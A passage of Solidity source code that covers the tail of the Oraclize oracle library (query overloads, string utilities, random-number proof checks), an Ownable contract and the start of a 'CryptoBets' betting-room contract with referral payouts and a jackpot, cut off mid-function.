return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Access denied");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CryptoBets is Ownable, usingOraclize {
struct Room {
address author;
uint bet;
uint max_players;
string pass;
bool run;
bool closed;
address[] players;
}
uint public min_bet = 0.1 ether;
uint public max_bet = 3 ether;
uint public min_players = 2;
uint public max_players = 10;
uint[] public ref_payouts = [3, 2, 1];
uint public jackpot_max_players = 100;
uint public jackpot_bank = 0;
uint public commision = 0;
Room[] public rooms;
mapping(bytes32 => uint) public games;
mapping(address => address) public refferals;
address[] public jackpot_players;
mapping(address => bool) public managers;
mapping(address => uint) public withdraws;
event NewRoom(uint indexed room_id, address indexed author, uint bet, uint max_players, string pass);
event NewBet(uint indexed room_id, address indexed addr);
event Run(uint indexed room_id, bytes32 indexed id);
event FinishRoom(uint indexed room_id, address indexed winner);
event Withdraw(address indexed to, uint value);
modifier onlyManager() {
require(managers[msg.sender], "Access denied");
_;
}
constructor() payable public {
managers[0x909bf2E71fe8f8cEDb8D55E1818E152b003c5612] = true;
managers[0xB224A65FA9a76d6cc0f3c96A181894Be342fcB63] = true;
managers[0x5BC1987a3f4E43650b2E3FbE7C404c4C5ffF1531] = true;
managers[0xF20175D17Be5d6b215b6063EAaAc158969064ee8] = true;
managers[0xA745ac0BB1F88EeCF9EC0Db369Ed29F07CD42966] = true;
managers[0xdc0B815316383BA4d087a2dBB9268CB5346b88aa] = true;
managers[0x2431CfCDEa6abc4112EA67a41910D986D7475ac5] = true;
managers[0x756F9B5DAd8d119fA7442FB636Db7f3bDF5435eF] = true;
managers[0xecC78D8DA24F9625F615374279F0627c97da9379] = true;
managers[0xcBE575FFa93d7D9eE1CC7aACC72a5C93FD1e08c3] = true;
}
function() payable external {}
function __callback(bytes32 id, string res) public {
require(msg.sender == oraclize_cbAddress(), "Permission denied");
Room storage room = rooms[games[id]];
require(room.author != address(0), "Room not found");
require(!room.closed, "Room already closed");
uint result = parseInt(res);
uint win = room.bet * room.players.length;
uint comm = 14;
uint oc = oraclize_getPrice("URL");
jackpot_bank += win / 100;
address ref = refferals[room.players[result]];
if(ref != room.players[result]) {
for(uint i = 0; i < ref_payouts.length; i++) {
if(ref != address(0)) {
uint p = win * ref_payouts[i] / 100;
comm -= ref_payouts[i];
ref.transfer(p);
ref = refferals[ref];
}
else break;
}
}
room.players[result].transfer(win - (win * 15 / 100));
if(win * comm / 100 > oc) {
commision += (win * comm / 100) - oc;
}
emit FinishRoom(games[id], room.players[result]);
room.closed = true;
delete games[id];
if(jackpot_players.length >= jackpot_max_players) {
